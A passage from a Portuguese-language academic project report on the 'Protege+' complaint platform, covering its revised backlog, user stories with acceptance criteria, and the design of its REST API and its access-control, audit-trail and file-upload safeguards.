API RESTful completa. CRUD de denúncias, equipe e evidências, com **201 Created** e cabeçalho **Location**, **204 No Content**, e a distinção correta entre **400** (sintaxe), **422** (regra de negócio violada), **401** (não autenticado) e **403** (perfil insuficiente), conforme a semântica definida pelo RFC 9110 (IETF, 2022). Filtros e paginação resolvidos no banco, e não com **stream()** sobre a coleção inteira em memória.

Três respostas distintas para o mesmo recurso. A listagem do painel deixou de trafegar o relato completo e o endereço de dezenas de vítimas apenas para desenhar um Kanban.

Erros deixaram de vazar informação. A versão anterior devolvia **ex.getMessage()** no corpo do erro 500, e mensagens de exceção carregam nome de tabela, de coluna e trecho de SQL. Agora o detalhe fica no log do servidor e o cliente recebe um código de rastreio de oito caracteres.

Estruturas de dados na lógica do sistema. Fila de prioridade em heap binário para a ordem de atendimento e pilha LIFO para o histórico reversível de ações, ambas expostas por endpoints próprios e visíveis na interface.

Segregação de acesso real. Cinco perfis, aplicados por rota e por campo, com o perfil lido do token assinado.

Trilha de auditoria encadeada por hash, cobrindo onze ações sensíveis em quinze endpoints, com verificação de integridade que aponta o elo rompido e distingue alteração de remoção.

Endurecimento da API. CORS por lista de origens no lugar do curinga com credenciais habilitadas, e limite de requisições por origem nas rotas públicas.

Manipulação de arquivos. Upload por **multipart/form-data**, com tipo verificado pela assinatura do conteúdo, nome gerado por UUID, armazenamento fora da pasta pública, hash SHA-256 reconferido na leitura, download auditado e remoção com motivo obrigatório, seguindo integralmente as quatro recomendações da OWASP para upload de arquivos (OWASP, [s.d.]).

Exportação em CSV com mascaramento por perfil, sem o relato, auditada, e com neutralização de injeção de fórmula.

Relatório estatístico completo, calculado no servidor por um serviço puro e exibido em seis gráficos, com a leitura de cada um gerada a partir dos próprios números.

Modelo físico Oracle reescrito, com tipagem explícita e chave natural nas tabelas de domínio, o que faz o script documentado ser o mesmo *schema* que a aplicação usa.

Integração efetiva do portal e do painel à API, a correção mais importante da fase, descrita na seção 3.3.2, e a origem da user story US31.

1.12 Síntese da Parte 1

A Fase 5 não acrescentou telas ao Protege+: ela mudou o que está por baixo delas. O sistema que se entrega aqui tem servidor, banco, autenticação real, controle de acesso por perfil, trilha de auditoria verificável, tratamento de arquivos hostis e uma análise estatística que aponta um problema operacional concreto na própria base, e não apenas confirma o que se esperava encontrar.

PARTE 2: Ajustes no backlog

O que o enunciado pede

“Reavalie o Product Backlog criado nas fases anteriores e:

- Atualize-o com novas user stories relacionadas ao front-end, segurança e manipulação de arquivos.
- Escreva os critérios de aceitação das user stories prioritárias.”

Cada uma das exigências tem seções próprias: a reavaliação do backlog das fases anteriores está em 2.1, 2.2 e 2.3; as novas user stories em 2.4 a 2.7, separadas exatamente nas três categorias pedidas (front-end, segurança e manipulação de arquivos); e os critérios de aceitação das histórias prioritárias em 2.8. A seção 2.9 acrescenta a definição de pronto, e a 2.10 consolida o backlog final em um quadro único.

2.1 Método de revisão

A revisão do backlog seguiu uma regra deliberada: **cada história foi avaliada pelo seu estado real no código, não pela intenção declarada na fase em que foi escrita.**

Na prática, isso significa que uma história só permaneceu marcada como concluída se foi possível apontar o arquivo, a rota ou a tela que a implementa, e executá-la. Três histórias que constavam como concluídas na Fase 4 **voltaram para o backlog** ao serem submetidas a esse critério (seção 2.3), e uma história inteiramente nova nasceu da revisão (US31, seção 2.7).

Foi uma revisão desconfortável e produtiva. Backlog que só cresce para a direita, em que nada volta, é backlog que registra intenções, não estado.

2.2 Product Backlog revisado (US01 a US18)

#	User story (resumo)	Prioridade	Estado após a Fase 5
US01	Cidadão registra denúncia	Alta	Concluída , agora persistida via <code>POST /api/denuncias</code>
US02	Denúncia anônima	Alta	Concluída e ampliada : anonimato graduado em 3 níveis
US03	Informar local do incidente	Alta	Concluída
US04	Servidor visualiza painel	Alta	Concluída : Kanban, backlog e mapa, alimentados pela API
US05	Data e hora das denúncias	Média	Concluída
US06	Preenchimento por GPS	Alta	Concluída
US07	Relato em áudio	Alta	Reaberta e concluída : upload via API (US28)
US08	Anexar fotos e documentos	Alta	Reaberta e concluída : mesma dependência
US09	QR Code do protocolo	Média	Concluída
US10	Compartilhar link do protocolo	Média	Concluída

#	User story (resumo)	Prioridade	Estado após a Fase 5
US11	Filtros avançados no backlog	Alta	Concluída e migrada para o servidor: resolvidos no banco
US12	Histórico de status rastreável	Alta	Concluída: persistido com <code>@OrderColumn</code>
US13	Mapa de distribuição geográfica	Média	Concluída com k-anonimato
US14	Acesso em inglês	Média	Concluída e ampliada: 363 chaves simétricas
US15	Modo seguro (<i>Fake Page</i>)	Alta	Concluída
US16	Tema claro e escuro	Baixa	Concluída
US17	Componente React do formulário	Média	Reaberta e concluída: integrado à API
US18	Validação e sanitização de entradas	Alta	Concluída e estendida ao servidor com Bean Validation

2.3 Justificativa das reaberturas

US07 e US08, os anexos. Foram entregues na Fase 4 gravando o arquivo em Base64 no `localStorage`. Essa solução esbarra no teto de armazenamento do navegador, cresce cerca de 33 % sobre o tamanho original do arquivo e não sobrevive à troca de dispositivo. A entrega correta é o upload via API, tratado na US28 e implementado nesta fase.

US17, o componente React. Existia como arquivo isolado e não estava incorporado ao projeto: nenhum caminho da aplicação levava até ele, e ele não conversava com servidor nenhum. A reintegração é o que o transforma de protótipo em parte do sistema. E, como o enunciado desta fase pede explicitamente a demonstração do consumo de endpoints por uma interface React, essa história deixou de ser opcional.

Vale o registro metodológico: as três reaberturas não decorrem de defeito de implementação, e sim de uma **definição de pronto insuficiente** nas fases anteriores. É por isso que a seção 2.9 formaliza uma definição de pronto que teria barrado as três.

2.4 Novas user stories de front-end

#	User story	Prioridade
US19	Como auditor , quero consultar a trilha de auditoria filtrada por período, usuário e tipo de ação, para investigar o uso indevido do sistema	Alta
US20	Como atendente , quero ver a fila de priorização automática das denúncias, para atender primeiro o caso mais grave e mais antigo	Alta
US21	Como gestor , quero desfazer a última movimentação feita no Kanban, para corrigir um erro operacional sem apagar o histórico	Média
US22	Como usuário do painel , quero saber se estou conectado à API ou operando em modo local, para saber se posso confiar no dado que estou vendo	Média
US23	Como gestor , quero um painel estatístico com tempo médio de resposta e sua dispersão, para avaliar a performance do atendimento	Alta

#	User story	Prioridade
US32	Como gestor , quero abrir a ficha completa de um caso a partir do painel, para trabalhar a denúncia sem precisar consultá-la pelo canal público do cidadão	Alta

A US32 nasceu de uma constatação simples e incômoda durante a verificação: o botão “ver detalhes” do painel levava o gestor à **tela pública de consulta por protocolo**, a mesma que o cidadão usa. O efeito colateral era grave: como aquela tela usa o DTO público, o gestor nunca acessava o endpoint de detalhe, e portanto a ação **CONSULTA_SENSIVEL** nunca era disparada a partir da interface. Uma trilha de auditoria que registra a leitura do relato, mas cuja interface não passa pelo caminho que a registra, é uma trilha decorativa.

2.5 Novas user stories de segurança

#	User story	Prioridade
US24	Como administrador , quero perfis com permissões distintas, para que cada servidor acesse apenas o que sua função exige	Alta
US25	Como auditor , quero que toda ação sensível gere um registro imutável e encadeado, para que a trilha não possa ser adulterada sem deixar rastro	Alta
US26	Como encarregado de dados , quero que dados pessoais sejam mascarados conforme o perfil que consulta, para reduzir a exposição desnecessária	Alta
US27	Como gestor de segurança , quero limitar tentativas de login e envios por IP, para evitar ataques de força bruta e o abuso do canal público	Média
US33	Como auditor , quero que as tentativas de acesso recusadas também apareçam na trilha, para identificar sondagem de permissões	Alta

As quatro primeiras não são invenção deste projeto: elas correspondem, uma a uma, a riscos catalogados pela OWASP para APIs. A US24 endereça **API1:2023 Broken Object Level Authorization** e **API5:2023 Broken Function Level Authorization**; a US26, **API3:2023 Broken Object Property Level Authorization**, categoria que absorveu a antiga “Excessive Data Exposure”; e a US27, **API4:2023 Unrestricted Resource Consumption** (OWASP, 2023). A US25 responde ao controle 8.15 (Logging) da ISO/IEC 27002:2022 (ISO/IEC, 2022) e à orientação da ANPD de que “a auditoria registra o que foi feito pelo usuário” (ANPD, 2021).

A US33 é consequência direta de uma lacuna encontrada em teste. A anotação `@Auditavel` envolve o método do controlador; quando o Spring Security recusa a requisição **antes** de chegar ao controlador, o método nunca executa e nada é registrado. Ou seja: as recusas mais interessantes, as bloqueadas por rota, eram justamente as que não deixavam rastro. É exatamente o oposto do que recomenda a OWASP, que lista “Authorization (access control) failures” entre os eventos que devem sempre ser registrados (OWASP, [s.d.])b). A correção está descrita na seção 5.4.4.

2.6 Novas user stories de manipulação de arquivos

#	User story	Prioridade
US28	Como cidadão , quero anexar evidências pela API, para não esbarrar no limite de armazenamento do navegador nem perder o anexo ao trocar de	Alta

#	User story	Prioridade
	dispositivo	
US29	Como gestor , quero baixar uma evidência com registro de quem acessou e quando, para que o acesso à prova seja rastreável	Alta
US30	Como gestor , quero exportar as denúncias em CSV, com a exportação registrada em auditoria, para analisar os dados em ferramenta externa sem criar uma via de vazamento silenciosa	Média
US34	Como encarregado de dados , quero que o sistema recuse arquivos cujo conteúdo não corresponde ao formato declarado, para que a extensão do arquivo não seja aceita como prova do que ele é	Alta
US35	Como gestor , quero remover um anexo informando o motivo, para corrigir um envio indevido sem que a remoção fique sem responsável	Média

A US34 traduz para o backlog a recomendação central da OWASP sobre recebimento de arquivos: validar a assinatura do conteúdo contra o formato esperado, em vez de confiar na extensão (OWASP, [s.d.]c).

2.7 Nova user story de integração

#	User story	Prioridade
US31	Como cidadão , quero que a denúncia que registro no portal chegue ao painel do órgão, para não depender de eu voltar no mesmo navegador para que ela exista	Crítica

A US31 nasceu de uma revisão contra o enunciado, e não de uma ideia nova. A API estava pronta e testada, o formulário React já a consumia, mas o portal principal e o painel continuavam gravando e lendo do `localStorage`. Uma denúncia registrada no site nunca chegava ao banco, e **na mesma tela do gestor** a aba estatística descrevia 125 casos vindos do banco enquanto o Kanban ao lado mostrava apenas os daquele navegador.

Foi a lacuna mais séria encontrada na fase, e a mais fácil de não notar: **cada parte funcionava isoladamente**. Os testes unitários passavam, a API respondia corretamente no Swagger, o front-end desenhava as telas sem erro no console. O defeito só era visível ao perguntar “esta denúncia que acabei de registrar aparece do outro lado?”, que é uma pergunta que nenhum teste unitário faz. A seção 3.3.2 descreve a correção.

2.8 Critérios de aceitação das histórias prioritárias

Formato **DADO / QUANDO / ENTÃO** (*Given/When/Then*), do *Behaviour-Driven Development*. Foram escritos critérios para as **doze histórias de prioridade Alta ou Crítica criadas nesta fase**, mais a **US17**, que é de prioridade Média mas foi reaberta e reentregue aqui, e cujo critério é o que amarra a interface React à API. São treze conjuntos de critérios.

2.8.1 US17: formulário React integrado à API

DADO QUE o cidadão abre o formulário React **QUANDO** preenche tipo e descrição e envia **ENTÃO** o componente executa `POST /api/denuncias` e exibe o protocolo devolvido pelo servidor, e não um protocolo gerado no navegador.

DADO QUE o envio está em andamento **ENTÃO** o botão fica desabilitado com indicação de carregamento, impedindo envio duplicado por clique repetido.

DADO QUE a API responde 400 por falha de validação **ENTÃO** o componente exibe a mensagem de erro **no campo correspondente**, aproveitando o corpo padronizado devolvido pelo `GlobalExceptionHandler`.

DADO QUE a API está fora do ar **ENTÃO** o componente informa a indisponibilidade e oferece o registro em modo local, sem perder o texto já digitado.

DADO QUE a denúncia é registrada com sucesso **ENTÃO** o score de confiabilidade exibido é o calculado pelo `ScoreService` no servidor, garantindo uma única fonte da verdade entre as duas interfaces.

2.8.2 US19: consulta à trilha de auditoria

DADO QUE o usuário autenticado possui perfil AUDITOR ou ADMIN **QUANDO** acessa a aba Auditoria **ENTÃO** o sistema exibe os registros paginados em ordem decrescente de data e hora, com usuário, perfil, ação, recurso afetado e endereço IP.

DADO QUE o usuário autenticado possui perfil GESTOR ou ATENDENTE **QUANDO** tenta acessar `GET /api/auditoria` **ENTÃO** a API responde 403 `Forbidden` e a própria tentativa é registrada na trilha.

DADO QUE o auditor aplica um filtro por período **ENTÃO** a consulta é resolvida no banco com paginação, e não carregando toda a tabela em memória.

DADO QUE nenhum registro atende aos filtros **ENTÃO** o sistema exibe “Nenhum registro de auditoria para os filtros selecionados”, sem erro.

DADO QUE o auditor tenta editar ou excluir um registro de auditoria **ENTÃO** a operação é recusada, porque a trilha é somente de escrita e leitura.

2.8.3 US20: fila de priorização automática

DADO QUE existem denúncias em aberto **QUANDO** o atendente abre a fila **ENTÃO** o sistema apresenta os casos ordenados por urgência atribuída pelo VigIA, depois por score de confiabilidade e, em caso de empate, pela denúncia mais antiga.

DADO QUE uma denúncia é classificada como CRÍTICA **ENTÃO** ela assume o topo da fila independentemente do seu score.

DADO QUE o atendente aciona “Atender próximo” **ENTÃO** o caso é removido do topo da fila, seu status muda para “em análise” e a ação é registrada em auditoria.

DADO QUE não há denúncias em aberto **ENTÃO** a fila exibe “Nenhum caso aguardando atendimento” e o botão de atender fica desabilitado.

DADO QUE uma nova denúncia crítica chega enquanto a fila está aberta **ENTÃO** ela é inserida na posição correta na próxima atualização, sem reordenar a lista inteira.

2.8.4 US23: painel estatístico de desempenho

DADO QUE o gestor acessa o painel estatístico **ENTÃO** o sistema exibe média, mediana, moda, desvio padrão e coeficiente de variação do tempo de resposta das denúncias.

DADO QUE o tempo de resposta é calculado **ENTÃO** ele corresponde ao intervalo entre o primeiro evento “recebida” e o evento “concluída” registrados no histórico, contado em dias corridos fracionários.

DADO QUE existem denúncias ainda não concluídas **ENTÃO** elas são excluídas do cálculo do tempo de resposta e **reportadas separadamente** como casos em aberto, com sua própria medida de espera.

DADO QUE o coeficiente de variação ultrapassa 50 % **ENTÃO** o painel sinaliza que o atendimento está irregular entre os casos, indicando falta de padronização.

DADO QUE há menos de duas observações em um recorte **ENTÃO** o recorte é omitido, porque variância amostral com $n = 1$ é indefinida.

2.8.5 US24: perfis e permissões

DADO QUE o usuário faz login **ENTÃO** o token JWT emitido carrega o perfil real do usuário, e o filtro de autenticação concede exatamente as autoridades desse perfil.

DADO QUE um ATENDENTE consulta uma denúncia **ENTÃO** recebe os dados operacionais do caso, mas **não** os campos de identificação do denunciante nem o endereço da ocorrência.

DADO QUE um usuário sem o perfil exigido chama um endpoint protegido **ENTÃO** a API responde **403 Forbidden** com corpo padronizado, **sem revelar** a existência ou não do recurso.

DADO QUE um token expirado é enviado **ENTÃO** a API responde **401 Unauthorized** e o front-end redireciona para o login.

DADO QUE o perfil declarado no token é desconhecido **ENTÃO** o sistema aplica o perfil de **menor** privilégio, errando para o lado de negar acesso.

2.8.6 US25: trilha de auditoria imutável

DADO QUE uma operação sensível é executada com sucesso **ENTÃO** o sistema grava um registro com data e hora, usuário, perfil, ação, recurso, identificador do recurso, endereço IP, agente do usuário e resultado.

DADO QUE uma operação sensível **falha** **ENTÃO** o registro também é gravado, com o resultado marcado como NEGADO ou ERRO, porque tentativa recusada é informação de segurança.

DADO QUE um novo registro é gravado **ENTÃO** ele armazena o hash SHA-256 do registro imediatamente anterior, formando uma cadeia verificável.

DADO QUE um registro intermediário da cadeia é alterado diretamente no banco **QUANDO** a verificação de integridade é executada **ENTÃO** o sistema aponta **em qual posição** a cadeia foi rompida e **qual dos dois tipos** de adulteração ocorreu (conteúdo alterado ou registro removido/inserido).

DADO QUE o registro de auditoria é gravado **ENTÃO** ele contém a referência ao recurso, **nunca o conteúdo do relato da denúncia**, porque a trilha não pode virar uma segunda cópia do dado sensível.

2.8.7 US26: mascaramento por perfil

DADO QUE um ATENDENTE abre o detalhe de uma denúncia **ENTÃO** o endereço da ocorrência volta como **[endereço protegido]**, substituído **pelo servidor**, e a listagem não traz endereço nem relato.

DADO QUE um GESTOR abre o mesmo caso **ENTÃO** o endereço completo é exibido e a leitura é registrada como consulta sensível na auditoria.

DADO QUE o modelo físico prevê a tabela **CIDADA0** com nome, e-mail e telefone, vinculada à denúncia apenas quando ela não é anônima **ENTÃO** **MascaraUtil** já implementa **email()** e **telefone()** para

esses campos. A implementação em execução ainda não persiste o denunciante identificado, e essa diferença entre modelo e implementação está declarada na seção 5.8.

DADO QUE a denúncia é anônima de nível 1 **ENTÃO** nenhum perfil, em nenhuma tela, tem acesso a dado de identificação, porque esse dado **não existe** no sistema.

DADO QUE a resposta da API é montada **ENTÃO** ela é serializada a partir de um DTO específico da audiência, e **nunca** da entidade JPA diretamente.

DADO QUE o mesmo caso é exportado em CSV **ENTÃO** vale o mesmo mascaramento da tela, porque negar o endereço no detalhe e entregá-lo em lote numa planilha seria uma contradição.

2.8.8 US28: upload de evidências pela API

DADO QUE o cidadão anexa um arquivo de até 5 MB em formato permitido **QUANDO** envia a denúncia **ENTÃO** o arquivo é transmitido por `multipart/form-data`, validado no servidor e vinculado à denúncia, e a API responde `201 Created`.

DADO QUE o arquivo excede o limite **ENTÃO** a API responde `413 Content Too Large` com mensagem clara, e **nada é gravado**.

DADO QUE o arquivo tem extensão permitida mas conteúdo de outro tipo **ENTÃO** o servidor rejeita com `415 Unsupported Media Type`, porque a validação é feita sobre o **conteúdo** e não sobre o nome do arquivo.

DADO QUE o nome original do arquivo contém caracteres de caminho **ENTÃO** o nome é higienizado antes de qualquer gravação, e o arquivo é gravado sob um UUID, prevenindo travessia de diretório.

DADO QUE a denúncia já tem 10 anexos **ENTÃO** o envio seguinte é recusado, e a mensagem informa o limite.

DADO QUE a API está indisponível **ENTÃO** o front-end informa que o anexo não pôde ser enviado e permite registrar a denúncia sem ele, **preservando o relato**.

2.8.9 US29: download auditado de evidência

DADO QUE um usuário autorizado baixa uma evidência **ENTÃO** o sistema registra em auditoria quem baixou, qual evidência, de qual denúncia e quando.

DADO QUE o SHA-256 do arquivo em disco não corresponde ao gravado no recebimento **ENTÃO** o download é **recusado**, porque entregar como evidência um arquivo que não é mais o recebido é pior do que não entregar nada.

DADO QUE um usuário não autorizado tenta baixar **ENTÃO** a API responde `403` e a tentativa é registrada.

DADO QUE o identificador da evidência não existe **ENTÃO** a API responde `404` com corpo padronizado, sem diferenciar “não existe” de “sem permissão” para quem não tem acesso.

DADO QUE o arquivo é entregue **ENTÃO** a resposta traz `Content-Disposition: attachment` e `X-Content-Type-Options: nosniff`, para que o navegador não interprete o conteúdo.

2.8.10 US31: portal e painel servidos pela API

DADO QUE o cidadão registra uma denúncia no portal com a API no ar **ENTÃO** o protocolo e o score exibidos são os que o **servidor** gerou, e não valores calculados no navegador.

DADO QUE a denúncia foi registrada **QUANDO** o gestor abre o painel **ENTÃO** ela aparece no Kanban, sem depender do navegador em que foi criada.

DADO QUE o gestor arrasta um card entre colunas **ENTÃO** a mudança é gravada pelo servidor, entra na linha do tempo da denúncia e gera registro na trilha de auditoria.

DADO QUE o servidor recusa a transição **ENTÃO** a tela é redesenhada com o estado real: o card volta à coluna de origem, em vez de mentir que a mudança ocorreu.

DADO QUE a sincronização traz os dados da API **ENTÃO** os campos que só existem no cliente (código de acompanhamento, mensagens do elo, nível de anonimato) são **preservados**, e não sobrescritos.

DADO QUE a API está fora do ar **ENTÃO** o painel volta ao modo local e a etiqueta de conexão declara isso, e os dados de exemplo, que só existem no modo local, deixam de se misturar aos reais.

2.8.11 US32: ficha completa do caso no painel

DADO QUE o gestor clica em um card do Kanban **ENTÃO** o sistema chama `GET /api/denuncias/{id}` e exibe relato, endereço, análise da IA com sua origem declarada, linha do tempo e anexos.

DADO QUE essa leitura ocorre **ENTÃO** ela gera um registro de `CONSULTA_SENSIVEL` na trilha, com o identificador do caso.

DADO QUE o perfil é ATENDENTE **ENTÃO** o endereço aparece como `[endereço protegido]` e o botão “Excluir” não é oferecido.

DADO QUE o perfil é GESTOR ou ADMIN **ENTÃO** o endereço completo é exibido e a exclusão fica disponível, exigindo motivo.

2.8.12 US33: tentativas recusadas na trilha

DADO QUE um usuário autenticado chama uma rota que seu perfil não alcança **QUANDO** o Spring Security recusa a requisição antes de ela chegar ao controlador **ENTÃO** a recusa é registrada na trilha com resultado NEGADO, a ação correspondente à rota, o usuário e a origem.

DADO QUE uma credencial é recusada no login **ENTÃO** a trilha grava `LOGIN_NEGADO`, porque tentativa repetida de autenticação é sinal de ataque.

DADO QUE a gravação do registro de recusa falha por qualquer motivo **ENTÃO** a requisição continua sendo recusada: auditar é importante, negar o acesso é mais.

DADO QUE o AUDITOR filtra a trilha pelo resultado NEGADO **ENTÃO** encontra as tentativas recusadas com data, hora, usuário, perfil e endereço de origem.

DADO QUE uma operação sensível falha por erro do sistema, e não por permissão **ENTÃO** o registro é gravado com resultado ERRO, distinto de NEGADO, para que a investigação não confunda defeito com sondagem.

2.8.13 US34: recusa de arquivo cujo conteúdo não corresponde ao formato

DADO QUE o arquivo enviado tem extensão e `Content-Type` de imagem, mas seu conteúdo não começa pela assinatura de nenhum formato aceito **ENTÃO** a API responde `415 Unsupported Media Type` e **nada** é gravado em disco.

DADO QUE o arquivo é um WebP legítimo **ENTÃO** a verificação exige `RIFF` nos bytes 0 a 3 e `WEBP` nos bytes 8 a 11, e não apenas o primeiro trecho, porque RIFF é um contêiner usado também por outros formatos.

DADO QUE o arquivo é aceito **ENTÃO** o valor gravado em `tipo_conteudo` é o **detectado pela assinatura**, e não o declarado pelo cliente.

DADO QUE um tipo fora da lista branca chegue ao banco por qualquer caminho **ENTÃO** a restrição `ck_evidencia_tipo` recusa a linha, mantendo a defesa mesmo se a validação da aplicação for contornada.

DADO QUE a verificação de assinatura passa **ENTÃO** isso garante que o conteúdo é do formato declarado, e **não** que ele seja inofensivo: não há varredura de antivírus, limite declarado na seção 5.8.

2.9 Definição de pronto (*Definition of Done*)

As reaberturas da seção 2.3 mostraram que “funciona na minha tela” é um critério insuficiente. Uma user story só é considerada concluída quando cumpre, **simultaneamente**, as seis condições abaixo:

1. **A funcionalidade responde na interface.** Existe um caminho de navegação real que chega até ela, e não apenas um arquivo no repositório.
2. **O endpoint correspondente está documentado no Swagger**, com resumo, códigos de resposta e exemplo.
3. **Os erros previstos retornam o código de status correto**, e não um 422 genérico que serve para tudo.
4. **Nenhuma resposta expõe dado pessoal além do necessário ao perfil** que a solicitou.
5. **As operações sensíveis geram registro de auditoria**, verificável na aba de trilha.
6. **Existe teste automatizado** cobrindo a regra central da história, ou um roteiro de verificação manual registrado no Anexo D quando o comportamento depende de integração entre camadas.

O critério 1 é o que teria barrado a US17 na Fase 4. O critério 5 é o que teria barrado a US32 antes que ela existisse.

2.10 Backlog consolidado: quadro final

Categoria	Histórias	Concluídas nesta fase
Herdadas das fases 1 a 4	US01 a US18 (18)	18, sendo 3 reabertas e reentregues
Front-end	US19, US20, US21, US22, US23, US32 (6)	6
Segurança	US24, US25, US26, US27, US33 (5)	5
Manipulação de arquivos	US28, US29, US30, US34, US35 (5)	5
Integração	US31 (1)	1
Total	35 histórias	35

Das 17 histórias criadas nesta fase, **12 têm prioridade Alta ou Crítica**, e todas as 12 têm critérios de aceitação escritos na seção 2.8: US19, US20, US23, US24, US25, US26, US28, US29, US31, US32, US33 e US34. A seção traz ainda os critérios da US17, reaberta e reentregue nesta fase, totalizando treze conjuntos.

PARTE 3: Implementação de API RESTful e Integração Completa

O que o enunciado pede

(a) “Implemente e documente uma API RESTful robusta para o sistema, utilizando as boas práticas apresentadas nos capítulos (rotas, métodos HTTP, status code, tratamento de erros, segurança).” (b) “Garanta que as operações CRUD estejam funcionando para os principais recursos do sistema.” (c) “Integre a API ao front-end desenvolvido, demonstrando o consumo dos endpoints via interface React (ou outra tecnologia adotada).”

A seção 3.1 responde ao item (a), com uma subseção dedicada a cada uma das cinco boas práticas citadas: rotas (3.1.2), métodos HTTP (3.1.3), status code (3.1.4), tratamento de erros (3.1.5) e segurança (3.1.6). A seção 3.2 responde ao item (b), recurso por recurso. A seção 3.3 responde ao item (c), incluindo a interface React exigida e a integração do portal principal.

Uma observação sobre o método desta Parte: as decisões aqui não se apoiam em preferência pessoal. A semântica de métodos e códigos de status segue o **RFC 9110, que é o padrão STD 97 da IETF** e substituiu a antiga série RFC 723x (IETF, 2022); as decisões de segurança seguem o **OWASP API Security Top 10 de 2023** (OWASP, 2023). Onde o projeto se afasta de uma prática comum, o texto explica contra qual recomendação a escolha foi conferida.

3.1 Requisito (a): a API RESTful

3.1.1 A fronteira que mudou de lugar

Até a Fase 4 o Protege+ era uma aplicação que rodava inteiramente no navegador. O dado vivia no `localStorage`, o score era calculado em JavaScript e o “login” era uma comparação de texto no cliente. Funcionava como protótipo, mas tinha um problema estrutural: tudo o que o sistema sabia, o usuário podia reescrever com o console aberto.

A Fase 5 moveu a fronteira. A regra passou a viver no servidor e o navegador virou o que deveria ser: uma interface. A API expõe **31 rotas** em 9 controladores, documentadas em OpenAPI 3 e navegáveis em `/swagger-ui.html`.

Vale registrar que a mudança não foi automática. A API ficou pronta e testada **antes** de o portal passar a usá-la: durante boa parte desta fase o método `Backend.criarDenuncia` existia, tinha teste, e ninguém o chamava. Cada parte funcionava isoladamente, que é exatamente o motivo pelo qual a lacuna passou despercebida. A seção 3.3.2 descreve como a integração foi finalmente feita.

3.1.2 Inventário completo das rotas

O símbolo  indica rota que exige o cabeçalho `Authorization: Bearer <token>`.

Canal do cidadão (público por definição)

Método	Rota	Retorno	Por que é público
POST	<code>/api/denuncias</code>	201 e cabeçalho <code>Location</code>	Exigir login do denunciante inviabilizaria o anonimato, que é a razão de o canal existir

Método	Rota	Retorno	Por que é público
GET	/api/denuncias/protocolo/{protocolo}	200 ou 404	O protocolo é a credencial: quem o tem, o registrou
POST	/api/denuncias/protocolo/{p}/evidencias	201, 413, 415, 422, 429	Quem denuncia anonimamente não tem conta para autenticar
GET	/api/vigia/status	200	Informa se a IA está em modo Gemini ou Regras
POST	/api/auth/login	200, 401 ou 429	Emita o token JWT

A opção por deixar o registro público não é uma concessão de conveniência: é o que o Decreto 9.492/2018 estabelece para a administração federal, ao determinar que comunicações de irregularidade “ainda que de origem anônima” sejam encaminhadas para apuração (BRASIL, 2018c, art. 23, §2.º). Exigir conta para denunciar excluiria justamente quem mais precisa do canal.

Painel do órgão

Método	Rota	Perfil exigido	Retorno
GET	/api/denuncias	 autenticado	200, página com filtros de status, tipo e UF
GET	/api/denuncias/{id}	 autenticado	200 ou 404. Consulta sensível: gera auditoria
PUT	/api/denuncias/{id}	 autenticado	200, 400 ou 404
PATCH	/api/denuncias/{id}/status	 autenticado	200 ou 422
PATCH	/api/denuncias/{id}/responsavel	 autenticado	200 ou 404
DELETE	/api/denuncias/{id}?motivo=	GESTOR, ADMIN	204, ou 400 se faltar o motivo
GET	/api/equipe e /api/equipe/{id}	 autenticado	200 ou 404
POST	/api/equipe	GESTOR, ADMIN	201 e cabeçalho Location
PUT	/api/equipe/{id}	GESTOR, ADMIN	200
DELETE	/api/equipe/{id}	GESTOR, ADMIN	204
GET	/api/stats	 autenticado	200, totais por status, tipo, urgência e UF
GET	/api/stats/analitico	 autenticado	200, o relatório estatístico da Parte 4

Fluxo de atendimento (as estruturas de dados da Parte 4)

Método	Rota	Estrutura envolvida
GET	/api/fluxo/fila	PriorityQueue, ordenada por urgência, score e antiguidade

Método	Rota	Estrutura envolvida
POST	/api/fluxo/fila/atender	heap binário, <code>poll()</code> em $O(\log n)$
GET	/api/fluxo/pilha	<code>ArrayDeque</code> em regime LIFO
POST	/api/fluxo/desfazer	pilha, <code>pop()</code> em $O(1)$

Auditoria (restrita)

Método	Rota	Perfil exigido
GET	/api/auditoria	AUDITOR, ADMIN. Trilha paginada com filtros
GET	/api/auditoria/integridade	AUDITOR, ADMIN. Recalcula a cadeia de hashes
GET	/api/auditoria/acoes	AUDITOR, ADMIN. Catálogo das operações auditadas

Evidências (manipulação de arquivos)

Método	Rota	Perfil	Retorno
POST	/api/denuncias/protocolo/{p}/evidencias	público	201 ; 413 acima de 5 MB; 415 formato recusado; 422 caso já concluído; 429 limite por origem
GET	/api/denuncias/{id}/evidencias	 autenticado	200, apenas metadados
GET	/api/evidencias/{id}/arquivo	 autenticado	200. Consulta sensível: gera auditoria
DELETE	/api/evidencias/{id}?motivo=	GESTOR, ADMIN	204

O envio é público, identificado pelo protocolo. Não há como ser diferente: o canal aceita denúncia anônima, e quem denuncia anonimamente não tem conta para autenticar. O que substitui a autenticação são limites: 10 arquivos por denúncia, 5 MB cada, formatos verificados pela assinatura do conteúdo, limite de requisições por origem e bloqueio após a conclusão do caso.

A **leitura** é o oposto: exige token e gera trilha. Uma foto anexada a uma denúncia de violência é o dado mais sensível que este sistema guarda, e cada acesso a ela precisa ter dono e hora.

Exportação

Método	Rota	Perfil	Retorno
GET	/api/exportacao/denuncias	ATENDENTE, GESTOR, ADMIN	200 <code>text/csv</code> , auditado, sem o relato, com o endereço mascarado para quem não pode vê-lo

O ATENDENTE exporta, e isso é deliberado: o arquivo carrega exatamente os campos que ele **já vê na tela do backlog**, com o mesmo mascaramento. Liberar a tela e negar o CSV seria teatro, porque bastaria copiar a tabela à mão. O que protege ali não é a proibição, é o mascaramento no servidor somado ao registro de quem exportou e quando. O AUDITOR fica de fora: ele fiscaliza o uso do sistema, não trabalha os casos.

VigIA

Método	Rota	Descrição
POST	/api/vigia/analisar/{id}	 Reanalisa a urgência de um caso
POST	/api/vigia/perguntar	 Pergunta livre. O contexto enviado à IA não contém relatos

3.1.3 Métodos HTTP: os verbos foram escolhidos, não sorteados

A distinção entre **PUT** e **PATCH** neste projeto não é estética, e o critério é normativo. O RFC 9110 define método idempotente como aquele em que o efeito pretendido no servidor de várias requisições idênticas é o mesmo de uma única, e classifica **PUT** e **DELETE** como idempotentes, mas não **POST** (IETF, 2022, seção 9.2.2).

PUT `/api/denuncias/{id}` substitui os dados descritivos do caso. É idempotente: repetir a chamada com o mesmo corpo produz o mesmo estado final.

PATCH `/api/denuncias/{id}/status` altera um aspecto do recurso e **acrescenta um evento à linha do tempo**. Repetir a chamada acrescentaria outro evento, o que a torna não idempotente. Por isso ela não poderia ser um **PUT**: a semântica do verbo estaria mentindo sobre o efeito da operação.

